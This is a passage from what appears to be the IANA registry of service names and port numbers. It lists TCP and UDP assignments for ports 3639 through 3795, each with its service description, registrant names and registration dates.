xap-ha 3639 tcp Extensible Automation [Mark_Harrison] [Mark_Harrison] 2002-11
xap-ha 3639 udp Extensible Automation [Mark_Harrison] [Mark_Harrison] 2002-11
netplay-port1 3640 tcp Netplay Port 1
netplay-port1 3640 udp Netplay Port 1
netplay-port2 3641 tcp Netplay Port 2 [Predrag_Filipovic] [Predrag_Filipovic] 2002-11
netplay-port2 3641 udp Netplay Port 2 [Predrag_Filipovic] [Predrag_Filipovic] 2002-11
juxml-port 3642 tcp Juxml Replication port [Colin_Reid] [Colin_Reid] 2002-11
juxml-port 3642 udp Juxml Replication port [Colin_Reid] [Colin_Reid] 2002-11
audiojuggler 3643 tcp AudioJuggler [Morten_Mertner] [Morten_Mertner] 2002-11
audiojuggler 3643 udp AudioJuggler [Morten_Mertner] [Morten_Mertner] 2002-11
ssowatch 3644 tcp ssowatch [Marie_France_Dubreui] [Marie_France_Dubreui] 2002-11
ssowatch 3644 udp ssowatch [Marie_France_Dubreui] [Marie_France_Dubreui] 2002-11
cyc 3645 tcp Cyc [Stephen_Reed] [Stephen_Reed] 2003-01
cyc 3645 udp Cyc [Stephen_Reed] [Stephen_Reed] 2003-01
xss-srv-port 3646 tcp XSS Server Port [Joe_Purcell] [Joe_Purcell] 2003-01
xss-srv-port 3646 udp XSS Server Port [Joe_Purcell] [Joe_Purcell] 2003-01
splitlock-gw 3647 tcp Splitlock Gateway [Andrew_Tune] [Andrew_Tune] 2003-01
splitlock-gw 3647 udp Splitlock Gateway [Andrew_Tune] [Andrew_Tune] 2003-01
fjcp 3648 tcp Fujitsu Cooperation Port [Kouji_Sugisawa] [Kouji_Sugisawa] 2003-01
fjcp 3648 udp Fujitsu Cooperation Port [Kouji_Sugisawa] [Kouji_Sugisawa] 2003-01
nmmp 3649 tcp Nishioka Miyuki Msg Protocol [TAKEDA_Hiroyuki] [TAKEDA_Hiroyuki] 2003-01
nmmp 3649 udp Nishioka Miyuki Msg Protocol [TAKEDA_Hiroyuki] [TAKEDA_Hiroyuki] 2003-01
prismiq-plugin 3650 tcp PRISMIQ VOD plug-in [Richard_Hodges_3] [Richard_Hodges_3] 2003-01
prismiq-plugin 3650 udp PRISMIQ VOD plug-in [Richard_Hodges_3] [Richard_Hodges_3] 2003-01
xrpc-registry 3651 tcp XRPC Registry [Slava_Monich] [Slava_Monich] 2003-01
xrpc-registry 3651 udp XRPC Registry [Slava_Monich] [Slava_Monich] 2003-01
vxcrnbuport 3652 tcp VxCR NBU Default Port [Boris_Star] [Boris_Star] 2003-01
vxcrnbuport 3652 udp VxCR NBU Default Port [Boris_Star] [Boris_Star] 2003-01
tsp 3653 tcp Tunnel Setup Protocol [Marc_Blanchet] [Marc_Blanchet] 2003-01 [RFC5572]
tsp 3653 udp Tunnel Setup Protocol [Marc_Blanchet] [Marc_Blanchet] 2003-01 [RFC5572]
vaprtm 3654 tcp VAP RealTime Messenger [Boris_Polevoy] [Boris_Polevoy] 2003-01
vaprtm 3654 udp VAP RealTime Messenger [Boris_Polevoy] [Boris_Polevoy] 2003-01
abatemgr 3655 tcp ActiveBatch Exec Agent
abatemgr 3655 udp ActiveBatch Exec Agent
abatjss 3656 tcp ActiveBatch Job Scheduler [Ben_Rosenberg] [Ben_Rosenberg] 2003-01
abatjss 3656 udp ActiveBatch Job Scheduler [Ben_Rosenberg] [Ben_Rosenberg] 2003-01
immedianet-bcn 3657 tcp ImmediaNet Beacon [Bill_Homan] [Bill_Homan] 2003-01
immedianet-bcn 3657 udp ImmediaNet Beacon [Bill_Homan] [Bill_Homan] 2003-01
ps-ams 3658 tcp PlayStation AMS (Secure) [Edgar_Alan_Tu] [Edgar_Alan_Tu] 2003-01
ps-ams 3658 udp PlayStation AMS (Secure) [Edgar_Alan_Tu] [Edgar_Alan_Tu] 2003-01
apple-sasl 3659 tcp Apple SASL [David_M_O_Rourke] [David_M_O_Rourke] 2003-01
apple-sasl 3659 udp Apple SASL [David_M_O_Rourke] [David_M_O_Rourke] 2003-01
can-nds-ssl 3660 tcp IBM Tivoli Directory Service
using SSL
can-nds-ssl 3660 udp IBM Tivoli Directory Service
using SSL
can-ferret-ssl 3661 tcp IBM Tivoli Directory Service [Nic_Catrambone] [Nic_Catrambone] 2003-01
using SSL
can-ferret-ssl 3661 udp IBM Tivoli Directory Service [Nic_Catrambone] [Nic_Catrambone] 2003-01
using SSL
pserver 3662 tcp pserver [Patrick_Furlong] [Patrick_Furlong] 2003-01
pserver 3662 udp pserver [Patrick_Furlong] [Patrick_Furlong] 2003-01
dtp 3663 tcp DIRECWAY Tunnel Protocol [John_Border] [John_Border] 2003-01
dtp 3663 udp DIRECWAY Tunnel Protocol [John_Border] [John_Border] 2003-01
ups-engine 3664 tcp UPS Engine Port
ups-engine 3664 udp UPS Engine Port
ent-engine 3665 tcp Enterprise Engine Port [Mike_Delgrosso] [Mike_Delgrosso] 2003-01
ent-engine 3665 udp Enterprise Engine Port [Mike_Delgrosso] [Mike_Delgrosso] 2003-01
eserver-pap 3666 tcp IBM eServer PAP [Dave_Gimpl] [Dave_Gimpl] 2003-01
eserver-pap 3666 udp IBM EServer PAP [Dave_Gimpl] [Dave_Gimpl] 2003-01
infoexch 3667 tcp IBM Information Exchange [Paul_Ford_Hutchinson] [Paul_Ford_Hutchinson] 2003-01
infoexch 3667 udp IBM Information Exchange [Paul_Ford_Hutchinson] [Paul_Ford_Hutchinson] 2003-01
dell-rm-port 3668 tcp Dell Remote Management [Bradley_Bransom] [Bradley_Bransom] 2003-01
dell-rm-port 3668 udp Dell Remote Management [Bradley_Bransom] [Bradley_Bransom] 2003-01
casanswmgmt 3669 tcp CA SAN Switch Management [Emre_Tunar] [Emre_Tunar] 2003-01
casanswmgmt 3669 udp CA SAN Switch Management [Emre_Tunar] [Emre_Tunar] 2003-01
smile 3670 tcp SMILE TCP/UDP Interface [Andre_Petras] [Andre_Petras] 2003-01
smile 3670 udp SMILE TCP/UDP Interface [Andre_Petras] [Andre_Petras] 2003-01
efcp 3671 tcp e Field Control (EIBnet) [Marc_Goossens] [Marc_Goossens] 2003-01
efcp 3671 udp e Field Control (EIBnet) [Marc_Goossens] [Marc_Goossens] 2003-01
lispworks-orb 3672 tcp LispWorks ORB [Lisp_Support] [Lisp_Support]
lispworks-orb 3672 udp LispWorks ORB [Lisp_Support] [Lisp_Support]
mediavault-gui 3673 tcp Openview Media Vault GUI [Stephen_Gold] [Stephen_Gold] 2003-01
mediavault-gui 3673 udp Openview Media Vault GUI [Stephen_Gold] [Stephen_Gold] 2003-01
wininstall-ipc 3674 tcp WinINSTALL IPC Port [Bill_Somerville] [Bill_Somerville] 2008-08-13
wininstall-ipc 3674 udp WinINSTALL IPC Port [Bill_Somerville] [Bill_Somerville] 2008-08-13
calltrax 3675 tcp CallTrax Data Port [Oliver_Bailey] [Oliver_Bailey] 2003-01
calltrax 3675 udp CallTrax Data Port [Oliver_Bailey] [Oliver_Bailey] 2003-01
va-pacbase 3676 tcp VisualAge Pacbase server [Dominique_Lelievre] [Dominique_Lelievre] 2003-01
va-pacbase 3676 udp VisualAge Pacbase server [Dominique_Lelievre] [Dominique_Lelievre] 2003-01
roverlog 3677 tcp RoverLog IPC [Tom_Mayo] [Tom_Mayo] 2003-01
roverlog 3677 udp RoverLog IPC [Tom_Mayo] [Tom_Mayo] 2003-01
ipr-dglt 3678 tcp DataGuardianLT [Bruce_Carlson] [Bruce_Carlson] 2003-01
ipr-dglt 3678 udp DataGuardianLT [Bruce_Carlson] [Bruce_Carlson] 2003-01
Escale (Newton 3679 tcp Newton Dock [Paul_Guyot] [Paul_Guyot] 2011-11-09
Dock)
Escale (Newton 3679 udp Newton Dock [Paul_Guyot] [Paul_Guyot] 2011-11-09
Dock)
npds-tracker 3680 tcp NPDS Tracker [Paul_Guyot] [Paul_Guyot] 2003-01
npds-tracker 3680 udp NPDS Tracker [Paul_Guyot] [Paul_Guyot] 2003-01
bts-x73 3681 tcp BTS X73 Port [Todd_Cooper] [Todd_Cooper] 2003-01
bts-x73 3681 udp BTS X73 Port [Todd_Cooper] [Todd_Cooper] 2003-01
cas-mapi 3682 tcp EMC SmartPackets-MAPI [Koen_Schoofs] [Koen_Schoofs] 2003-01
cas-mapi 3682 udp EMC SmartPackets-MAPI [Koen_Schoofs] [Koen_Schoofs] 2003-01
bmc-ea 3683 tcp BMC EDV/EA [Portnoy_Boxman] [Portnoy_Boxman] 2003-01
bmc-ea 3683 udp BMC EDV/EA [Portnoy_Boxman] [Portnoy_Boxman] 2003-01
faxstfx-port 3684 tcp FAXstfX [Alec_Carlson] [Alec_Carlson] 2003-01
faxstfx-port 3684 udp FAXstfX [Alec_Carlson] [Alec_Carlson] 2003-01
dsx-agent 3685 tcp DS Expert Agent [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16
dsx-agent 3685 udp DS Expert Agent [Jason_Lockett][Melanie_Kacerek] [Jason_Lockett][Melanie_Kacerek] 2008-12-16
tnmpv2 3686 tcp Trivial Network Management [Andrea_Premoli] [Andrea_Premoli] 2003-01
tnmpv2 3686 udp Trivial Network Management [Andrea_Premoli] [Andrea_Premoli] 2003-01
simple-push 3687 tcp simple-push
simple-push 3687 udp simple-push
simple-push-s 3688 tcp simple-push Secure [C_Enrique_Ortiz] [C_Enrique_Ortiz] 2003-01
simple-push-s 3688 udp simple-push Secure [C_Enrique_Ortiz] [C_Enrique_Ortiz] 2003-01
daap 3689 tcp Digital Audio Access [Amandeep_Jawa] [Amandeep_Jawa] 2003-01 Defined TXT keys: txtvers, Version, iTSh Version, Machine ID,
Protocol (iTunes) Database ID, Machine Name, Password
daap 3689 udp Digital Audio Access [Amandeep_Jawa] [Amandeep_Jawa] 2003-01 Defined TXT keys: txtvers, Version, iTSh Version, Machine ID,
Protocol (iTunes) Database ID, Machine Name, Password
svn 3690 tcp Subversion [Greg_Hudson_2] [Greg_Hudson_2] 2003-01
svn 3690 udp Subversion [Greg_Hudson_2] [Greg_Hudson_2] 2003-01
magaya-network 3691 tcp Magaya Network Port [Jesus_David_Rodrigue] [Jesus_David_Rodrigue] 2003-02
magaya-network 3691 udp Magaya Network Port [Jesus_David_Rodrigue] [Jesus_David_Rodrigue] 2003-02
intelsync 3692 tcp Brimstone IntelSync [Davey_Taylor] [Davey_Taylor] 2003-02
intelsync 3692 udp Brimstone IntelSync [Davey_Taylor] [Davey_Taylor] 2003-02
easl 3693 tcp Emergency Automatic [Mele_Associates] [Greg_Hansen][Randy_Yates] 2014-11-26 This port was previously removed on 2007-04-05.
Structure Lockdown System
3693 udp Reserved 2014-11-26 This port was previously removed on 2007-04-05.
3694 Unassigned 2007-04-05
bmc-data-coll 3695 tcp BMC Data Collection [Portnoy_Boxman] [Portnoy_Boxman] 2003-02
bmc-data-coll 3695 udp BMC Data Collection [Portnoy_Boxman] [Portnoy_Boxman] 2003-02
telnetcpcd 3696 tcp Telnet Com Port Control [Thomas_J_Pinkl] [Thomas_J_Pinkl] 2003-02
telnetcpcd 3696 udp Telnet Com Port Control [Thomas_J_Pinkl] [Thomas_J_Pinkl] 2003-02
nw-license 3697 tcp NavisWorks License System [Tim_Wiegand] [Tim_Wiegand] 2003-02
nw-license 3697 udp NavisWorks Licnese System [Tim_Wiegand] [Tim_Wiegand] 2003-02
sagectlpanel 3698 tcp SAGECTLPANEL [Mark_Gamble] [Mark_Gamble] 2003-02
sagectlpanel 3698 udp SAGECTLPANEL [Mark_Gamble] [Mark_Gamble] 2003-02
kpn-icw 3699 tcp Internet Call Waiting [B_J_Kortekaas] [B_J_Kortekaas] 2003-02
kpn-icw 3699 udp Internet Call Waiting [B_J_Kortekaas] [B_J_Kortekaas] 2003-02
lrs-paging 3700 tcp LRS NetPage [Geoffrey_Wossum] [Geoffrey_Wossum] 2003-02
lrs-paging 3700 udp LRS NetPage [Geoffrey_Wossum] [Geoffrey_Wossum] 2003-02
netcelera 3701 tcp NetCelera [Tarek_Nabhan] [Tarek_Nabhan] 2003-02
netcelera 3701 udp NetCelera [Tarek_Nabhan] [Tarek_Nabhan] 2003-02
ws-discovery 3702 tcp Web Service Discovery [Christian_Huitema_2] [Christian_Huitema_2] 2003-02
ws-discovery 3702 udp Web Service Discovery [Christian_Huitema_2] [Christian_Huitema_2] 2003-02
adobeserver-3 3703 tcp Adobe Server 3
adobeserver-3 3703 udp Adobe Server 3
adobeserver-4 3704 tcp Adobe Server 4 [Frank_Soetebeer] [Frank_Soetebeer] 2003-01
adobeserver-4 3704 udp Adobe Server 4 [Frank_Soetebeer] [Frank_Soetebeer] 2003-01
adobeserver-5 3705 tcp Adobe Server 5 [Bernd_Paradies] [Bernd_Paradies] 2008-01-14
adobeserver-5 3705 udp Adobe Server 5 [Bernd_Paradies] [Bernd_Paradies] 2008-01-14
rt-event 3706 tcp Real-Time Event Port
rt-event 3706 udp Real-Time Event Port
rt-event-s 3707 tcp Real-Time Event Secure Port [Terry_Gin] [Terry_Gin] 2003-02
rt-event-s 3707 udp Real-Time Event Secure Port [Terry_Gin] [Terry_Gin] 2003-02
sun-as-iiops 3708 tcp Sun App Svr - Naming [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
sun-as-iiops 3708 udp Sun App Svr - Naming [Abhijit_Kumar] [Abhijit_Kumar] 2005-11
ca-idms 3709 tcp CA-IDMS Server [Dave_Ross] [Dave_Ross]
ca-idms 3709 udp CA-IDMS Server [Dave_Ross] [Dave_Ross]
portgate-auth 3710 tcp PortGate Authentication [Scott_Harris] [Scott_Harris] 2003-02
portgate-auth 3710 udp PortGate Authentication [Scott_Harris] [Scott_Harris] 2003-02
edb-server2 3711 tcp EBD Server 2 [Carlos_Portela] [Carlos_Portela] 2003-02
edb-server2 3711 udp EBD Server 2 [Carlos_Portela] [Carlos_Portela] 2003-02
sentinel-ent 3712 tcp Sentinel Enterprise [Ian_Gordon_2] [Ian_Gordon_2] 2003-03
sentinel-ent 3712 udp Sentinel Enterprise [Ian_Gordon_2] [Ian_Gordon_2] 2003-03
tftps 3713 tcp TFTP over TLS [Mark_mayernick] [Mark_mayernick] 2003-03
tftps 3713 udp TFTP over TLS [Mark_mayernick] [Mark_mayernick] 2003-03
delos-dms 3714 tcp DELOS Direct Messaging [Ekkehard_Morgenstern] [Ekkehard_Morgenstern] 2003-03
delos-dms 3714 udp DELOS Direct Messaging [Ekkehard_Morgenstern] [Ekkehard_Morgenstern] 2003-03
anoto-rendezv 3715 tcp Anoto Rendezvous Port [Ola_Sandstrom] [Ola_Sandstrom] 2003-03
anoto-rendezv 3715 udp Anoto Rendezvous Port [Ola_Sandstrom] [Ola_Sandstrom] 2003-03
wv-csp-sms-cir 3716 tcp WV CSP SMS CIR Channel
wv-csp-sms-cir 3716 udp WV CSP SMS CIR Channel
wv-csp-udp-cir 3717 tcp WV CSP UDP/IP CIR Channel [Jon_Ingi_Ingimundars] [Jon_Ingi_Ingimundars] 2003-03
wv-csp-udp-cir 3717 udp WV CSP UDP/IP CIR Channel [Jon_Ingi_Ingimundars] [Jon_Ingi_Ingimundars] 2003-03
opus-services 3718 tcp OPUS Server Port [Detlef_Stoever] [Detlef_Stoever] 2003-03
opus-services 3718 udp OPUS Server Port [Detlef_Stoever] [Detlef_Stoever] 2003-03
itelserverport 3719 tcp iTel Server Port [Mark_Hendricks] [Mark_Hendricks] 2003-03
itelserverport 3719 udp iTel Server Port [Mark_Hendricks] [Mark_Hendricks] 2003-03
ufastro-instr 3720 tcp UF Astro. Instr. Services [David_B_Hon] [David_B_Hon] 2003-03
ufastro-instr 3720 udp UF Astro. Instr. Services [David_B_Hon] [David_B_Hon] 2003-03
xsync 3721 tcp Xsync
xsync 3721 udp Xsync
xserveraid 3722 tcp Xserve RAID [Bob_Bradley] [Bob_Bradley] 2003-03
xserveraid 3722 udp Xserve RAID [Bob_Bradley] [Bob_Bradley] 2003-03
sychrond 3723 tcp Sychron Service Daemon [Robert_Marinelli] [Robert_Marinelli] 2003-03
sychrond 3723 udp Sychron Service Daemon [Robert_Marinelli] [Robert_Marinelli] 2003-03
blizwow 3724 tcp World of Warcraft [Domain_Tech] [Domain_Tech] 2005-04
blizwow 3724 udp World of Warcraft [Domain_Tech] [Domain_Tech] 2005-04
na-er-tip 3725 tcp Netia NA-ER Port [Jean_Pierre_Garcia] [Jean_Pierre_Garcia] 2003-04
na-er-tip 3725 udp Netia NA-ER Port [Jean_Pierre_Garcia] [Jean_Pierre_Garcia] 2003-04
array-manager 3726 tcp Xyratex Array Manager [David_A_Lethe] [David_A_Lethe] 2003-04
array-manager 3726 udp Xyartex Array Manager [David_A_Lethe] [David_A_Lethe] 2003-04
e-mdu 3727 tcp Ericsson Mobile Data Unit
e-mdu 3727 udp Ericsson Mobile Data Unit
e-woa 3728 tcp Ericsson Web on Air [Marco_Casole] [Marco_Casole] 2003-04
e-woa 3728 udp Ericsson Web on Air [Marco_Casole] [Marco_Casole] 2003-04
fksp-audit 3729 tcp Fireking Audit Port [Richard_Thurman] [Richard_Thurman] 2003-04
fksp-audit 3729 udp Fireking Audit Port [Richard_Thurman] [Richard_Thurman] 2003-04
client-ctrl 3730 tcp Client Control [Lawrence_W_Dunn] [Lawrence_W_Dunn] 2003-04
client-ctrl 3730 udp Client Control [Lawrence_W_Dunn] [Lawrence_W_Dunn] 2003-04
smap 3731 tcp Service Manager
smap 3731 udp Service Manager
m-wnn 3732 tcp Mobile Wnn [Yasunari_Yamashita] [Yasunari_Yamashita] 2003-04
m-wnn 3732 udp Mobile Wnn [Yasunari_Yamashita] [Yasunari_Yamashita] 2003-04
multip-msg 3733 tcp Multipuesto Msg Port [Felisa_Ares] [Felisa_Ares] 2003-04
multip-msg 3733 udp Multipuesto Msg Port [Felisa_Ares] [Felisa_Ares] 2003-04
synel-data 3734 tcp Synel Data Collection Port [David_Ashkenazi] [David_Ashkenazi] 2003-04
synel-data 3734 udp Synel Data Collection Port [David_Ashkenazi] [David_Ashkenazi] 2003-04
pwdis 3735 tcp Password Distribution [Robert_Erl] [Robert_Erl] 2003-04
pwdis 3735 udp Password Distribution [Robert_Erl] [Robert_Erl] 2003-04
rs-rmi 3736 tcp RealSpace RMI [Barry_McDarby] [Barry_McDarby] 2003-04
rs-rmi 3736 udp RealSpace RMI [Barry_McDarby] [Barry_McDarby] 2003-04
xpanel 3737 tcp XPanel Daemon [Lilian_Rudenco] [Lilian_Rudenco] 2009-03-04
3737 udp Reserved
versatalk 3738 tcp versaTalk Server Port [Dr_Kingsley_C_Nwos] [Dr_Kingsley_C_Nwos] 2003-04
versatalk 3738 udp versaTalk Server Port [Dr_Kingsley_C_Nwos] [Dr_Kingsley_C_Nwos] 2003-04
launchbird-lm 3739 tcp Launchbird LicenseManager [Tom_Hawkins] [Tom_Hawkins] 2003-04
launchbird-lm 3739 udp Launchbird LicenseManager [Tom_Hawkins] [Tom_Hawkins] 2003-04
heartbeat 3740 tcp Heartbeat Protocol [Jeroen_Massar] [Jeroen_Massar] 2003-04
heartbeat 3740 udp Heartbeat Protocol [Jeroen_Massar] [Jeroen_Massar] 2003-04
wysdma 3741 tcp WysDM Agent [Jim_McDonald] [Jim_McDonald] 2003-04
wysdma 3741 udp WysDM Agent [Jim_McDonald] [Jim_McDonald] 2003-04
cst-port 3742 tcp CST - Configuration & [Hai_Ou_Yang] [Hai_Ou_Yang] 2003-04
Service Tracker
cst-port 3742 udp CST - Configuration & [Hai_Ou_Yang] [Hai_Ou_Yang] 2003-04
Service Tracker
ipcs-command 3743 tcp IP Control Systems Ltd. [Paul_Anderson] [Paul_Anderson] 2003-04
ipcs-command 3743 udp IP Control Systems Ltd. [Paul_Anderson] [Paul_Anderson] 2003-04
sasg 3744 tcp SASG [Cristian_Petculescu_2] [Cristian_Petculescu_2] 2003-04
sasg 3744 udp SASG [Cristian_Petculescu_2] [Cristian_Petculescu_2] 2003-04
gw-call-port 3745 tcp GWRTC Call Port [Felisa_Ares] [Felisa_Ares] 2003-04
gw-call-port 3745 udp GWRTC Call Port [Felisa_Ares] [Felisa_Ares] 2003-04
linktest 3746 tcp LXPRO.COM LinkTest
linktest 3746 udp LXPRO.COM LinkTest
linktest-s 3747 tcp LXPRO.COM LinkTest SSL [Greg_Bailey] [Greg_Bailey] 2003-04
linktest-s 3747 udp LXPRO.COM LinkTest SSL [Greg_Bailey] [Greg_Bailey] 2003-04
webdata 3748 tcp webData [Michael_Whiteley] [Michael_Whiteley] 2003-04
webdata 3748 udp webData [Michael_Whiteley] [Michael_Whiteley] 2003-04
cimtrak 3749 tcp CimTrak [Robert_E_Johnson_II] [Robert_E_Johnson_II] 2003-04
cimtrak 3749 udp CimTrak [Robert_E_Johnson_II] [Robert_E_Johnson_II] 2003-04
cbos-ip-port 3750 tcp CBOS/IP ncapsalation port [Thomas_Dannemiller] [Thomas_Dannemiller] 2003-04
cbos-ip-port 3750 udp CBOS/IP ncapsalatoin port [Thomas_Dannemiller] [Thomas_Dannemiller] 2003-04
gprs-cube 3751 tcp CommLinx GPRS Cube [Peter_Johnson] [Peter_Johnson] 2003-04
gprs-cube 3751 udp CommLinx GPRS Cube [Peter_Johnson] [Peter_Johnson] 2003-04
vipremoteagent 3752 tcp Vigil-IP RemoteAgent [Bryan_Alvord] [Bryan_Alvord] 2003-04
vipremoteagent 3752 udp Vigil-IP RemoteAgent [Bryan_Alvord] [Bryan_Alvord] 2003-04
nattyserver 3753 tcp NattyServer Port [Akira_Saito] [Akira_Saito] 2003-04
nattyserver 3753 udp NattyServer Port [Akira_Saito] [Akira_Saito] 2003-04
timestenbroker 3754 tcp TimesTen Broker Port [David_Aspinwall] [David_Aspinwall] 2003-04
timestenbroker 3754 udp TimesTen Broker Port [David_Aspinwall] [David_Aspinwall] 2003-04
sas-remote-hlp 3755 tcp SAS Remote Help Server [Gary_T_Ciampa] [Gary_T_Ciampa] 2003-04
sas-remote-hlp 3755 udp SAS Remote Help Server [Gary_T_Ciampa] [Gary_T_Ciampa] 2003-04
canon-capt 3756 tcp Canon CAPT Port [Takashi_Okazawa] [Takashi_Okazawa] 2003-04
canon-capt 3756 udp Canon CAPT Port [Takashi_Okazawa] [Takashi_Okazawa] 2003-04
grf-port 3757 tcp GRF Server Port [Robert_Banfill] [Robert_Banfill] 2003-04
grf-port 3757 udp GRF Server Port [Robert_Banfill] [Robert_Banfill] 2003-04
apw-registry 3758 tcp apw RMI registry [Dan_Davis] [Dan_Davis] 2003-04
apw-registry 3758 udp apw RMI registry [Dan_Davis] [Dan_Davis] 2003-04
exapt-lmgr 3759 tcp Exapt License Manager [Christoph_Kukulies] [Christoph_Kukulies] 2003-04
exapt-lmgr 3759 udp Exapt License Manager [Christoph_Kukulies] [Christoph_Kukulies] 2003-04
adtempusclient 3760 tcp adTempus Client [Bill_Wingate] [Bill_Wingate] 2003-05
adtempusclient 3760 udp adTEmpus Client [Bill_Wingate] [Bill_Wingate] 2003-05
gsakmp 3761 tcp gsakmp port [RFC4535]
gsakmp 3761 udp gsakmp port [RFC4535]
gbs-smp 3762 tcp GBS SnapMail Protocol [Eric_Harris_Braun] [Eric_Harris_Braun] 2003-06
gbs-smp 3762 udp GBS SnapMail Protocol [Eric_Harris_Braun] [Eric_Harris_Braun] 2003-06
xo-wave 3763 tcp XO Wave Control Port [Bjorn_Dittmer_Roche] [Bjorn_Dittmer_Roche] 2003-06
xo-wave 3763 udp XO Wave Control Port [Bjorn_Dittmer_Roche] [Bjorn_Dittmer_Roche] 2003-06
mni-prot-rout 3764 tcp MNI Protected Routing [Tim_Behne] [Tim_Behne] 2003-06
mni-prot-rout 3764 udp MNI Protected Routing [Tim_Behne] [Tim_Behne] 2003-06
rtraceroute 3765 tcp Remote Traceroute [A_Blake_Cooper] [A_Blake_Cooper] 2003-06
rtraceroute 3765 udp Remote Traceroute [A_Blake_Cooper] [A_Blake_Cooper] 2003-06
sitewatch-s 3766 tcp SSL e-watch sitewatch server [e-Watch_Corporation] [John_M_Baird_2] 2014-05-13 this port was previously updated on 2009-06-19
3766 udp Reserved this port was previously updated on 2009-06-19
listmgr-port 3767 tcp ListMGR Port [Takashi_Kubota] [Takashi_Kubota] 2003-06
listmgr-port 3767 udp ListMGR Port [Takashi_Kubota] [Takashi_Kubota] 2003-06
rblcheckd 3768 tcp rblcheckd server daemon [Sabri_Berisha] [Sabri_Berisha] 2003-06
rblcheckd 3768 udp rblcheckd server daemon [Sabri_Berisha] [Sabri_Berisha] 2003-06
haipe-otnk 3769 tcp HAIPE Network Keying [Mike_Irani_2] [Mike_Irani_2] 2003-06
haipe-otnk 3769 udp HAIPE Network Keying [Mike_Irani_2] [Mike_Irani_2] 2003-06
cindycollab 3770 tcp Cinderella Collaboration [Ulrich_Kortenkamp] [Ulrich_Kortenkamp] 2003-06
cindycollab 3770 udp Cinderella Collaboration [Ulrich_Kortenkamp] [Ulrich_Kortenkamp] 2003-06
paging-port 3771 tcp RTP Paging Port [Patrick_Ferriter] [Patrick_Ferriter] 2003-06
paging-port 3771 udp RTP Paging Port [Patrick_Ferriter] [Patrick_Ferriter] 2003-06
ctp 3772 tcp Chantry Tunnel Protocol [Inderpreet_Singh] [Inderpreet_Singh] 2003-06
ctp 3772 udp Chantry Tunnel Protocol [Inderpreet_Singh] [Inderpreet_Singh] 2003-06
ctdhercules 3773 tcp ctdhercules [Carl_Banzhof] [Carl_Banzhof] 2003-06
ctdhercules 3773 udp ctdhercules [Carl_Banzhof] [Carl_Banzhof] 2003-06
zicom 3774 tcp ZICOM [Sabu_Das] [Sabu_Das] 2003-06
zicom 3774 udp ZICOM [Sabu_Das] [Sabu_Das] 2003-06
ispmmgr 3775 tcp ISPM Manager Port [Eric_Anderson] [Eric_Anderson] 2003-06
ispmmgr 3775 udp ISPM Manager Port [Eric_Anderson] [Eric_Anderson] 2003-06
dvcprov-port 3776 tcp Device Provisioning Port [Rob_Lehew] [Rob_Lehew] 2003-06
dvcprov-port 3776 udp Device Provisioning Port [Rob_Lehew] [Rob_Lehew] 2003-06
jibe-eb 3777 tcp Jibe EdgeBurst [Chap_Tippin] [Chap_Tippin] 2003-06
jibe-eb 3777 udp Jibe EdgeBurst [Chap_Tippin] [Chap_Tippin] 2003-06
c-h-it-port 3778 tcp Cutler-Hammer IT Port [Thomas_Ruchti] [Thomas_Ruchti] 2003-06
c-h-it-port 3778 udp Cutler-Hammer IT Port [Thomas_Ruchti] [Thomas_Ruchti] 2003-06
cognima 3779 tcp Cognima Replication [Ralph_Greenwell] [Ralph_Greenwell] 2003-06
cognima 3779 udp Cognima Replication [Ralph_Greenwell] [Ralph_Greenwell] 2003-06
nnp 3780 tcp Nuzzler Network Protocol [Andreas_Schwarz_2] [Andreas_Schwarz_2] 2003-06
nnp 3780 udp Nuzzler Network Protocol [Andreas_Schwarz_2] [Andreas_Schwarz_2] 2003-06
abcvoice-port 3781 tcp ABCvoice server port [Carlos_Gonzalez_Roma] [Carlos_Gonzalez_Roma] 2003-06
abcvoice-port 3781 udp ABCvoice server port [Carlos_Gonzalez_Roma] [Carlos_Gonzalez_Roma] 2003-06
iso-tp0s 3782 tcp Secure ISO TP0 port [Herbert_Falk] [Herbert_Falk] 2003-06
iso-tp0s 3782 udp Secure ISO TP0 port [Herbert_Falk] [Herbert_Falk] 2003-06
bim-pem 3783 tcp Impact Mgr./PEM Gateway [Walter_G_Giroir] [Walter_G_Giroir] 2003-07
bim-pem 3783 udp Impact Mgr./PEM Gateway [Walter_G_Giroir] [Walter_G_Giroir] 2003-07
bfd-control 3784 tcp BFD Control Protocol [RFC5881]
bfd-control 3784 udp BFD Control Protocol [RFC5881]
bfd-echo 3785 tcp BFD Echo Protocol [RFC5881]
bfd-echo 3785 udp BFD Echo Protocol [RFC5881]
upstriggervsw 3786 tcp VSW Upstrigger port [Mark_Tim_Junghanns] [Mark_Tim_Junghanns] 2003-07
upstriggervsw 3786 udp VSW Upstrigger port [Mark_Tim_Junghanns] [Mark_Tim_Junghanns] 2003-07
fintrx 3787 tcp Fintrx [Peter_G_L_Potgiese] [Peter_G_L_Potgiese] 2003-07
fintrx 3787 udp Fintrx [Peter_G_L_Potgiese] [Peter_G_L_Potgiese] 2003-07
isrp-port 3788 tcp SPACEWAY Routing port [Vaibhav_Kumar] [Vaibhav_Kumar] 2003-07
isrp-port 3788 udp SPACEWAY Routing port [Vaibhav_Kumar] [Vaibhav_Kumar] 2003-07
remotedeploy 3789 tcp RemoteDeploy Administration [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
Port [July 2003]
remotedeploy 3789 udp RemoteDeploy Administration [Detlef_Rothe] [Detlef_Rothe] 2009-05-15
Port [July 2003]
quickbooksrds 3790 tcp QuickBooks RDS [Almira] [Almira] 2003-07
quickbooksrds 3790 udp QuickBooks RDS [Almira] [Almira] 2003-07
tvnetworkvideo 3791 tcp TV NetworkVideo Data port [Kevin_Brunner] [Kevin_Brunner] 2003-07
tvnetworkvideo 3791 udp TV NetworkVideo Data port [Kevin_Brunner] [Kevin_Brunner] 2003-07
sitewatch 3792 tcp e-Watch Corporation [John_M_Baird] [John_M_Baird] 2003-07
SiteWatch
sitewatch 3792 udp e-Watch Corporation [John_M_Baird] [John_M_Baird] 2003-07
SiteWatch
dcsoftware 3793 tcp DataCore Software [Andre_Cato] [Andre_Cato] 2003-07
dcsoftware 3793 udp DataCore Software [Andre_Cato] [Andre_Cato] 2003-07
jaus 3794 tcp JAUS Robots [Steven_B_Cliff] [Steven_B_Cliff] 2003-07
jaus 3794 udp JAUS Robots [Steven_B_Cliff] [Steven_B_Cliff] 2003-07
myblast 3795 tcp myBLAST Mekentosj port [Alexander_Griekspoor] [Alexander_Griekspoor] 2003-07
